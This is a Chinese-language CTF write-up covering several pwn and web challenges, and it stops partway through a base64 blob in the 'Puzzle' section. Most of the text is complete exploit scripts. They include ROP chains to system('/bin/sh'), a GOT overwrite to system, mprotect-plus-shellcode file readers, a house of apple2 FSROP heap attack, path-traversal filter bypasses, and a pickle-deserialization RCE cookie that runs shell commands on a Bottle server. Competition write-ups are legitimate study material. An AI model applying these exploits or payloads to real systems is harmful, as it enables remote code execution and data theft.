最终排名第8
PWN
明日方舟寻访模拟器
一个很水的栈题,题目中存在system函数,但缺少sh字符串作参数。可以打栈迁移,但我选择预期解法(应该是),控制抽卡次数这个全局变量,凑成“sh”字符串,作为system的参数
#!/usr/bin/env python3
# Date: 2025-04-05 11:59:59
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './arknights'
context.log_level = 'debug'
context.timeout = 5
# gift.io = process('./arknights')
gift.io = remote('39.106.71.197',30761)
gift.elf = ELF('./arknights')
# gift.libc = ELF('')
io: tube = gift.io
elf: ELF = gift.elf
# libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)
# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()
def debug(gdbscript="", stop=False):
if isinstance(io, process):
gdb.attach(io, gdbscript=gdbscript)
if stop:
pause()
sl("")
sla("[4]结束抽卡","3")
sla("请输入寻访次数:","10000")
sl("")
sla("[4]结束抽卡","3")
sla("请输入寻访次数:","10000")
sl("")
sla("[4]结束抽卡","3")
sla("请输入寻访次数:","6739")
sl("")
sla("[4]结束抽卡","4")
sla("[2]退出","1")
call_system=0x4018FC
sum_times=0x405BCC
pop_rdi=0x4018e5
debug()
sla("你的名字:",b"a"*0x48+p64(pop_rdi)+p64(sum_times)+p64(call_system))
ia()
web苦手
本题有两个漏洞,第一个漏洞为对密码做哈希时没有考虑到哈希中存在00的可能,造成了00截断
第二个漏洞为生成文件路径时没有考虑到snprintf截断的性质,可能会被填充长度,截断掉.dat后缀,造成任意文件读取
首先寻找合适的密码注册,经过爆破与筛选后,找到一组可以在开头00截断的长密码str(181).ljust(64,"a")
os.environ['QUERY_STRING'] ="passwd_re="+str(181).ljust(64,"a")
os.system("./main")
181
Hash: b'\x00)dY\xd5biD\x87\xf27\xfc\x1b\x8d\xf3 \xde\x97$\xf3\x14e&\xc3\xe2Ph\t\x87N\xc9\x1c'
str(181).ljust(64,"a")
由于登录没法看到hash结果,采用爆破,找到一个可以在开头截断的短密码61,读取到了fake flag
for i in range(0x100):
response = requests.get('http://39.106.69.240:30773?'+"passwd_lo="+str(i)+"&"+"filename=flag")
if "flag" in response.text:
print(i)
print(response.text)
pause()
最后使用填充文件名,利用snprintf截断flag后缀,读取到flag
response = requests.get('http://39.106.71.197:30770?'+"passwd_lo=61&filename=../../..//flag")
print(response.text)
EZ3.0
这是一道mips pwn ,存在栈溢出,sh字符串,system,很入门,而且网上有偏移量都没变的exp
https://xz.aliyun.com/news/15999
#!/usr/bin/env python3
# Date: 2025-04-06 10:04:19
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './EZ3.0'
context.log_level = 'debug'
context.timeout = 5
# gift.io = process('./EZ3.0')
gift.io = remote('47.94.172.18', 38998)
gift.elf = ELF('./EZ3.0')
io: tube = gift.io
elf: ELF = gift.elf
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)
# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()
def debug(gdbscript="", stop=False):
if isinstance(io, process):
gdb.attach(io, gdbscript=gdbscript)
if stop:
pause()
'''
0x00400a20 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
'''
payload = b'a' * 36
payload += p32(0x00400a20)
payload += b'bbbb'
payload += p32(0x00400B70)
payload += p32(0x00411010)
sla(">", payload)
ia()
bot
本题采用了protobuf加密传输,逆向其结构
syntax = "proto2";
message cmdmsg {
required int32 id=1;
required string sender=2;
required uint32 len=3;
required bytes content=4;
required int32 actionid=5;
}
逆向完以后基本就没事了,虽然这是一道高版本的堆题,且没有菜单,但一开始蒙了一会以后我才发现这是个送分题,它可以用0级栈溢出掉1级栈的指针,造成任意地址写
libc版本为2.35,此版本libc没有开启静态编译,可以打strlen got表(puts_hook)
将其修改为system,这样所有的输出字符串都会进入system函数
#!/usr/bin/env python3
# Date: 2025-04-04 10:02:50
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './bot'
context.log_level = 'debug'
context.timeout = 5
# gift.io = process('./bot')
gift.io = remote('47.94.172.18', 20571)
gift.elf = ELF('./bot')
gift.libc = ELF('./libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def debug(gdbscript="", stop=False):
if isinstance(io, process):
gdb.attach(io, gdbscript=gdbscript)
if stop:
pause()
import cmdmsg_pb2
def show_content(content,sender_len=6):
msg = cmdmsg_pb2.cmdmsg()
msg.actionid=0
msg.id=0
msg.sender="admin"+"\0"+"a"*(sender_len-6)
msg.content=content
msg.len=0x100
s(msg.SerializeToString())
def save_msg(id,lenth,content):
msg = cmdmsg_pb2.cmdmsg()
msg.actionid=1
msg.id=id
msg.sender="admin"
msg.content=content
msg.len=lenth
sa("TESTTESTTEST!",msg.SerializeToString())
def look_msg(id):
msg = cmdmsg_pb2.cmdmsg()
msg.actionid=2
msg.id=id
msg.sender="admin"
msg.content=b"123"
msg.len=0x100
sa("TESTTESTTEST!",msg.SerializeToString())
def leave():
msg = cmdmsg_pb2.cmdmsg()
msg.actionid=3
msg.id=0
msg.sender="admin"
msg.content=b"123"
msg.len=0x100
sa("TESTTESTTEST!",msg.SerializeToString())
#利用proto块泄露elf基地址,推算影子栈的返回地址,便于用0修改1后的复原
save_msg(1,0x20,b"a"*0x1f+b"^")
look_msg(1)
ru("^")
elf_base=u64_ex(r(6))-0x5618d0beba80+0x5618d0bdf000
log2_ex_highlight(hex(elf_base))
bss_stack=elf_base+0xD080
payload=flat(
0 , 0x21,
elf_base+0x88A3, elf_base+0xD040
)
save_msg(0,0x30,b"a"*0x10+payload+b"a"*0x10)
look_msg(1)
libc_base=recv_libc_addr(io)+0x7f86e70c3000-0x7f86e72de780
log2_ex_highlight(hex(libc_base))
payload=flat(
0 , 0x21,
elf_base+0x88A3, libc_base+0x21A098
)
save_msg(0,0x30,b"a"*0x10+payload)
list = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
save_msg(1,0x8,p64(libc_base+libc.sym['system']))
debug()
show_content(b"/bin/sh")
ia()
girlfriend
本题存在fmt漏洞和栈溢出,存在沙箱禁止execve
使用fmt泄露libc,elf,stack
随后leave ret栈迁移到bss段的rop链上,使用mprotect设置bss段为读写执行,随后执行shellcode
#!/usr/bin/env python3
# Date: 2025-04-05 12:32:20
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './girlfriend'
context.log_level = 'debug'
context.timeout = 5
gift.io = process('./girlfriend')
gift.io = remote('47.94.15.198', 20531)
gift.elf = ELF('./girlfriend')
gift.libc = ELF('libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)
# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()
def debug(gdbscript="", stop=False):
if isinstance(io, process):
gdb.attach(io, gdbscript=gdbscript)
if stop:
pause()
def cmd(i, prompt="Your Choice:"):
sla(prompt, i)
def overflow(content):
cmd('1')
sla(" her?",content)
#......
def set_bss_fmt(content):
cmd('3')
sla("name first",content)
#......
set_bss_fmt("%3$p^%7$p^%15$p^")
ru("your name:\n")
libc_base=int(ru("^")[:-1],16)+0x7f2d88129000-0x7f2d8823d887
elf_base=int(ru("^")[:-1],16)+0x5592e044b000-0x5592e044c8d9
canary=int(ru("^")[:-1],16)
log2_ex_highlight(hex(libc_base))
log2_ex_highlight(hex(elf_base))
log2_ex_highlight(hex(canary))
mprotect = libc_base+libc.sym['mprotect']
open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f2e7
leave_ret=0x1676+elf_base
shellcode='''
mov r15,0x67616c662f
push r15
push 257
pop rax
mov rsi, rsp
mov rdx,4
mov rdi,0
syscall
/* call sendfile(1, 'rax', 0, 0x100) */
mov r10d, 0x100
mov rsi, rax
push 40
pop rax
push 1
pop rdi
cdq
syscall
'''
payload = flat(
pop_rdi,elf_base+0x4000,#0x10
pop_rsi,0x1000,#0x20
pop_rdx_r12,7,0,#0x38
mprotect,#0x40
elf_base+0x4060+0x48,
asm(shellcode)
)
set_bss_fmt(payload)
# debug('''
# b *$rebase(0x40a8)
# c
# ''')
overflow(b"a"*0x38+p64(canary)+p64(elf_base+0x4058)+p64(leave_ret))
ia()
Ret2libc's Revenge
本题清除了部分gadget,又加入了一些,可以控制两个参数
泄露libc时遇到了困难,本题为输出全缓冲,缓冲区满时才刷新,所以需要不断的运行一条rop链,填满缓冲区,得到泄露以后构造rop跳到one_gadget
#!/usr/bin/env python3
# Date: 2025-04-04 10:02:50
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './attachment'
context.log_level = 'debug'
# context.timeout = 5
# gift.io = process('./attachment')
gift.io = remote('47.94.204.178',28681)
# gift.io = remote('172.17.0.2', 9999)
gift.elf = ELF('./attachment')
gift.libc = ELF('./libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)
# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()
def debug(gdbscript="", stop=False):
if isinstance(io, process):
gdb.attach(io, gdbscript=gdbscript)
if stop:
pause()
'''
.text:0000000000401180 mov rdi, rsi
.text:0000000000401183 retn
.text:00000000004010E3
.text:00000000004010E4 ; ---------------------------------------------------------------------------
.text:00000000004010E4 and rsi, 0
.text:00000000004010E8 retn
.text:00000000004010E9 ; ---------------------------------------------------------------------------
.text:00000000004010E9 nop
.text:00000000004010EA nop
.text:00000000004010EB add rsi, [rbp+20h]
.text:00000000004010EF retn
'''
'''
'''
add_rsi_0=0x4010E4
add_rsi_rbp_0x20=0x4010EB
mov_rdi_rsi=0x401180
vuln_addr=0x4011FF
puts_plt=0x401074
puts_got=0x404018
pop_rbp=0x000000000040117d
# debug()
for i in range(0x100):
sl(flat(
b"a"*0x21c,p8(0x28),
p64(add_rsi_0) + p64(add_rsi_rbp_0x20)+p64(mov_rdi_rsi),p64(puts_plt),
p64(0x40127F),
p64(puts_got)
))
print(i)
sleep(0.1)
libc_base=recv_libc_addr(io)-0x7f34bcd88e50+0x7f34bcd08000
log2_ex_highlight(hex(libc_base))
pop_r13=0x0000000000041c4a+libc_base
pop_r12=0x0000000000035731+libc_base
pop_rdi=0x2a3e5+libc_base
one=0xebce2+libc_base
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
# debug()
sl(flat(
b"a"*0x21c,p8(0x28),
pop_r12,0,
pop_r13,0,
p64(one)
))
ia()
奶龙回家
本题的难点在于两个,一个是破解随机数,一个是控制局部变量
随机数使用时间为种子生成,同时运行本地程序和远程,大概率得到同一个随机数,所以,我采取了patch的方式,在原elf的基础上修改出一个随机数生成器,每次程序开始运行,从此生成器中获取随机数
再通过程序一开始送的,带随机数的栈地址,泄露出真实栈地址
程序有任意地址读写,只需修改局部变量即可无限次数使用任意地址读写
利用n次任意地址写,向ret_addr 写入一条完整的rop链后,利用任意地址写,修改剩余次数,程序正常返回,进入ROP
#!/usr/bin/env python3
# Date: 2025-04-05 10:14:40
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './nailong'
context.log_level = 'debug'
context.timeout = 5
# gift.io = process('./nailong')
gift.io = remote('47.94.204.178', 28707)
gift.elf = ELF('./nailong')
gift.libc = ELF('libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libc_base: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)
# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()
def debug(gdbscript="", stop=False):
if isinstance(io, process):
gdb.attach(io, gdbscript=gdbscript)
if stop:
pause()
p=process("./nailong.patched")
p.recvuntil("rbp + offset:")
offset=int(p.recvuntil("end")[:-3])
print(offset)
p.close()
ru("rbp + offset:")
rbp_addr=int(ru("end")[:-3])-offset
log2_ex_highlight(hex(rbp_addr))
stdout=0x404140
sla("xiao_peng_you_ni_zhi_dao_wo_yao_qu_ji_lou_ma","-1")
#修改1上限
sla("chose 4 bin/sh","2")
sa("what you want do?",str(rbp_addr-0x804C))
sa("read you want\n",p32(0xffffff00))
#修改总上限
sla("chose 4 bin/sh","2")
sa("what you want do?",str(rbp_addr-0x8044))
sa("read you want\n",p32(0xffffff00))
#获取libc
sla("chose 4 bin/sh","1")
sla("what you want do?\n",str(0x404140))
libc_base=recv_libc_addr(io)-0x7f2b64dce780+0x7f2b64bb3000
log2_ex_highlight(hex(libc_base))
gets_addr=libc_base+libc.sym['gets']
puts_got=elf.got['puts']
log2_ex_highlight(hex(gets_addr))
open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f2e7
# payload+=
payload=b"flag\x00\x00\x00\x00"+flat(
pop_rdi,rbp_addr,
pop_rsi,4,
open_addr,
pop_rdi,3,
pop_rsi,rbp_addr-0x100,
pop_rdx_r12,0x30,0,
read_addr,
pop_rdi,1,
pop_rsi,rbp_addr-0x100,
pop_rdx_r12,0x30,0,
write_addr
)
def change_something(addr,content):
sla("chose 4 bin/sh","2")
sla("what you want do?",str(addr))
sa("read you want\n",content)
for i in range(len(payload)//4):
change_something(rbp_addr+i*4,payload[i*4:i*4+4])
# debug()
#修改剩余次数
sla("chose 4 bin/sh","2")
sa("what you want do?",str(rbp_addr-0x803C))
sa("read you want\n",p32(0))
ia()
heap2
这是一道2.39的堆题,存在UAF漏洞,但没有edit函数,且堆风水由于沙箱很混乱
观察堆风水,发现0x300以上的堆块是纯净的,于是在此基础上进行large bin attack
首先利用堆风水和指针残留,泄露出large bin中的libc和heap地址
随后在原本的堆风水基础上,利用残留指针free fake chunk,造成堆重叠,利用堆重叠,申请出一个块,篡改largrbin的nextsize bk元素,
再构造一个IO结构体,走house of apple2 + svcudp_reply + swapcontext +mprotect +orw,将其链入largebin后IO_list_all被修改到伪造IO块,完成large bin attack,最后利用exit触发FSROP
#!/usr/bin/env python3
# Date: 2025-04-05 19:10:32
# Link: https://github.com/RoderickChan/pwncli
# Editor: heshi
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './heap2'
context.log_level = 'debug'
gift.io = process('./heap2')
# gift.io = remote('47.93.96.189', 36951)
gift.elf = ELF('./heap2')
gift.libc = ELF('./libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)
# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()
def debug(gdbscript="", stop=False):
if isinstance(io, process):
gdb.attach(io, gdbscript=gdbscript)
if stop:
pause()
def cmd(i, prompt="> "):
sla(prompt, i)
def add(size,content="123"):
cmd('1')
sla("size: ",str(size))
sa("data:",content)
def show(idx):
cmd('2')
sla("idx: ",str(idx))
#......
def dele(idx):
cmd('3')
sla("idx: ",str(idx))
# debug('''
# b * $rebase(0x14C5)
# c
# ''')
# debug('''
# b free
# c
# ''')
###################################################
#使用large bin泄露libc地址和堆地址,之后全部合并入top
############################
#泄露libc
add(0x500)#0
add(0x500)#1
dele(0)#放入unsorted
show(0)#泄露libc
libc_base=u64_ex(rl()[:-1])-0x7f3a1e46db20+0x7f3a1e26a000
libc.address=libc_base
log2_ex_highlight(hex(libc_base))
dele(1)#0,1放入unsorted
############################
#泄露heap
add(0xa10)#2,一次性申请回0,1
add(0x500)#3,分割
dele(2)#放入unsorted
add(0x4f0)#4,取出一部分内存,使1的残留指针恰好指向剩余块的nextsize
add(0x600,flat(
0,0x601
))#5,申请大于剩余块的size,从unsorted进入large
# debug('''
# b * $rebase(0x15F3)
# c
# ''')
show(1)# 用残留指针泄露heap基地址
heap_base=u64_ex(rl()[:-1])-0x563f43915110+0x563f43900000
log2_ex_highlight(hex(heap_base))
#####################################
add(0x510,flat(
0,0xa31
))#6,填入fake
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
_lock = libc_base+0x205700
fake_IO_FILE = heap_base + 0x16160
f1 = IO_FILE_plus_struct()
f1._lock = _lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps
f1._IO_save_base=fake_IO_FILE+0x280
svcudp_reply=libc_base+0x017923D
swapcontext=libc_base+0x005814D
pop_rdi=0x000000000010f75b+libc_base
pop_rsi=0x0000000000110a4d+libc_base
ret=0x582BB+libc_base
shellcode='''
xor rax, rax #xor rax,rax是对rax的清零运算操作
xor rdi, rdi #清空rdi寄存器的值
xor rsi, rsi #清空rsi寄存器的值
xor rdx, rdx
mov rax, 2 #open调用号为2
mov rdi, 0x67616c66 #为galf/.为./flag的相反 0x67616c662f2e为/flag的ASCII码的十六进制
push rdi
mov rdi, rsp
syscall #系统调用前,linux在eax寄存器里写入子功能号,断止处理程序根据eax寄存器的值来判断用户进程申请哪类系统调用。
mov rdx, 0x100 #sys_read(3,file,0x100)
mov rsi, rdi
mov rdi, rax
mov rax, 0 #read调用号为0,0为文件描述符,即外部输入,例如键盘
syscall
mov rdi, 1 #sys_write(1,file,0x30)
mov rax, 1 #write调用号为1,1为文件描述符,指的是屏幕
syscall
'''
data = flat(
{
0x20:bytes(f1)[0x30:],
0xe0: {# _wide_data->_wide_vtable
0x18: 0, # f->_wide_data->_IO_write_base
0x30: 0, # f->_wide_data->_IO_buf_base
0xe0: fake_IO_FILE+0x200
},
0x200: {
0:asm(shellcode),
0x68: svcudp_reply
},
0x280:{
0x18: fake_IO_FILE+0x280,
0x28: swapcontext,
0x88: 7,
0xe0:fake_IO_FILE,
0xa0:fake_IO_FILE+0x380,
0xa8:ret
},
0x380:flat(
pop_rdi,(fake_IO_FILE//0x1000)*0x1000,
pop_rsi,0x2000,
libc.sym["mprotect"],
fake_IO_FILE+0x200
),
}
)
add(0x4c0,data)#7,填入IO
dele(1)#将fake放入unsorted
debug()
add(0x530)#8,切割unsorted
add(0x600)#9,放入large
target=libc.sym['_IO_list_all']-0x20
dele(3)
add(0x500,flat(
"a"*0x20,
0,0x4f1,
libc_base+0x203f40,libc_base+0x203f40,
heap_base+0x15660,target
))#10,取出3,篡改large
dele(7)
add(0x600)
# debug(f"b * {fake_IO_FILE+0x200}")
sla("> ","4")
log2_ex_highlight(hex(libc_base))
log2_ex_highlight(hex(heap_base))
ia()
WEB
Sign
原题出自:https://www.norelect.ch/writeups/sekaictf2022/bottle_poem/
但需要得到签名的secret_key
在代码中有一处任意文件读
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
简单绕过即可,可以用.././.././绕过../../返回上级目录,直接读secret.txt得到secret
exp都是一样的,直接打就好,但需要修改一下摘要算法为sha256
import os, hmac, hashlib, base64, pickle, requests
def tob(s, enc='utf8'):
if isinstance(s, str):
return s.encode(enc)
return b'' if s is None else bytes(s)
def touni(s, enc='utf8', err='strict'):
if isinstance(s, bytes):
return s.decode(enc, err)
return str("" if s is None else s)
def create_cookie(name, value, secret):
d = pickle.dumps([name, value], -1)
encoded = base64.b64encode(d)
sig = base64.b64encode(hmac.new(tob(secret), encoded, digestmod=hashlib.sha256).digest())
value = touni(tob('!') + sig + tob('?') + encoded)
return value
class PickleRCE(object):
def __reduce__(self):
return (exec,("""
from bottle import response
import subprocess,base64
flag = subprocess.check_output('cat /flag_dda2d465-af33-4c56-8cc9-fd4306867b70', shell=True)
response.set_header('X-Flag',base64.b64encode(flag))
""",))
session = {"name": PickleRCE()}
cookie = create_cookie("name", session, "Hell0_H@cker_Y0u_A3r_Sm@r7")
# print(cookie)
r = requests.get("http://eci-2zehrf7bs4kd92263pzi.cloudeci1.ichunqiu.com:5000/secret", cookies={"name": cookie})
print(base64.b64decode(r.headers["x-flag"]).decode("ascii"))
# cookie = "!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"
Puzzle
前端一眼没用
查看源代码审计发现主要逻辑在puzzle.js
是经过混淆的js代码,其中第一处function经chatgpt分析是经过zlib压缩以及base64编码后混淆数据
恢复一下后可以得到不是那么混淆的代码,稍微具有可读性,解压缩算法如下:
code = "eNqFnEmPK9uVnf/KxQWBKgP36THvzeZmGQWYfd8zk82EYBNskmQEyWBfMOCaCIWHMlDwyB65AA8EeGLYI9tQwX9GkjXTX/BZ3464JXhSgJ7ER2ZErLXXOvvss88J/c3n9vTx8189via/fO5k3afP08TnL59PBX3sLdzH2t19fHp6+vK53HGfvj9/+bx90a+prPt1fdLH/c19zFf0cTl3Hxdb9/Hh29cvn5d1fZl7d18Oj+7jt8eXL5+vgfvkfrw/6Mf3ivvxfSMUj49fPrdn+nLx3X25G+ljxXMfNz19PK7cx3JXN39wOBa+7pN00FdJ9+n16fuXz4kSJMruD2eQ2IpESiQfntwz05AsiuQQ7PmCHi/AT69fPvcMb919d1zqY1Z8Tty0pJuWxOLl1d2p/KYv611F4eI+OkCbvr46PbivciL0LfngUIrt66v7tILvWHxTsBwoLiNY9sXyutfHuwL7Lm6PT+6qvrg9Jl1oOhAKRWif5mcXo7G+C9DiCskvnyvoc/A2wXgmyPA8SqMcwiS/uTihVk7k83AuCMsUzm/iPINze6JAid73R8f5XVweXtz1fbg0hOUmXzw9O2FP3LSum9ZhtRCrMtrdpV1OrB4enWIFsfr24D4tIP3+6H5OQ/BNNx3BKzfV48XrxfG/hrrGwbjJAq8vLjhtAN/1xA6AOwK8Q279vkfuhORey8jf3XelC+50jy6j102PXorEi37Oodej41iAYyA4M5iNFJh38K510fXInRzzG2a44hsp/yKYjTQcnSvrsDmCDeWv8ndJxL4+OeMsu4TQcUwgRkk3SsFtLuxpuA11/UjcviedzEMR+uoQ39H7/CREaP3pL8Pj2J+NN4Hv/Sv3bU/kpN9xyxMlFc8Z6jkduP2bgzcbT4/e7GfPP3qH3WEVej/tNqfFyv95N56ux2i5wP4PbqQsYbyW/XNE5KyITBnHojSC51w838PImD3RfHFPP+Lub+7PzvLBw6tiZGP01f3cQLWqxtEeS0ykQQm+Tra86Dw4OiuI/+vd+Lj865+FDvZluSENqa4+TrckHvf3M0gfFdHrBW0kHSYID7La+xEDFq7fdknFDY5LcTzKFc8O5hlTnDWI2xts5ljUIXsW2Q3GHylYeTKVgjG10eye5hlfx6IP+BmDHdwj3fOKJ0SuvSXTuFB3gD3SAN3hiYx8uMcT7/JETrC/f3Xo8iCeCPGCpORsvITg7DC+lLamYkrAXx+cdaYM6Cf3Vx68EsLQY8A2xeaItCX/PN6sZp9m4+P409q7fdodgvNq5s0+/aUfHD8dbzvvU3g8rPyF3NYWWXm5a1yd8A1U7CvEWzKXixNDoqOcurjiBmUlKftV00CB6HwoOjmLjvJXaksclceJSVr+HRGTHmPzYjfvQTkrA13vccppB/HFXbiOZKoTXnp0Ud7jGE+3KaPhGA2JxVLJKyE5H7+7P03BUMk5k2Swu0dOiVQOOUnEMvJRzv/qrjjZte7ZddAOZMwGCjal4Abzf//uJNxi/qFMusDxuj534UbuUx5qU1FLIPZej5yJxjdBw6eObQaOfXwKtJ3+7iinvCr3nbh4JafssIPDVrGE5QKAOO8SZ4O1CzJDLk7EUxKx02smWt80774TZqWlM8pdlI2OKOdLuY4AusfupKCijX5v0q9B4IeKSIJo+4r2lKG4eT2kU/WqGII3L7wp+AyUb0aC/iTD3NCsKM3aYZQfOsDTAD1x451uvKNq0MxzYA6CL0WQvqsQ/Z6iv8W0Nbkkd2fAOIBE3w2BTDDTo9KWihwhD9redbc6eOFfiwDkSyI/EmlNkMcfWefEjfaSsQ3Ty0vr/WnRUKhg6qEMw1MVzgE5rwJTh7MSf9lqJSWGJfQnwjSDayjF0l2ylgvPSKxfkk6pMaPyu8NwT5NQ3Y1u6D2XE7vweJNZ2jBYicHxyuTp/rROCaHh3UDCrZ6+wdQVjZ0tpl7JOikRe1LlkobSTpSmOFkjZkYIPhSCETwdNlh+kIQg1BGhDoTeEQ/pl0JX96mrvnxuIuOzu7yCYmMFaUWaeVX6g1tR3KZiIbdmIHmVR1NGUu67TYmHu+aOCy5yQftiEqhABvBAgI93con7sm4SOT5NwHsCv2c4uu+2eHtLmQWhM66BUEGERhCabrzxoe1Nj0KBqL7k6yOQntKDREEJtA2JpDP1Loyq1n2XPOGAlxGiKSEqCNGTEEsRe/7q8Kwg5ovY9I4jXARgqDk9DcGLCNbBldIY2+HPa6NSm/Q+RM5qHYm52cSzVYHUoVyfB+paUJdQaYhKCtSqC0LmKhdjxCpLrN6Uws5Zsg++HMPCMor78oBaQ4m+Q60PWbLRgZQDwUT5qIUJjuzIkRUC/6tf/RyXNb/6CJVgEKEpEUaUMi5mPVBOddWJn7P6uR5S6bjnUJup1t4jW0aybZgBXMh8RlNS2PNT0qj7sgCLnVisYNllEXK3VcIYOhPRGUHnp5/O3iFcBb7UR8BAhrkjYJ+i8YLm7iF7JJogEbocXlMPT5KpgSwNZdRNECVAH0sWZMkyZamqoAQCVXTfPNSPEmgGdV/U+2BuSsFzGtmUQbkqLTs1IbDT6KlDoCY9duZLLRRJEV+1EkGQnjAtIbbXRSuIFXSr0SUuh+4IdpJzO0A5se77l+oPb7s73v6s+Cjb1P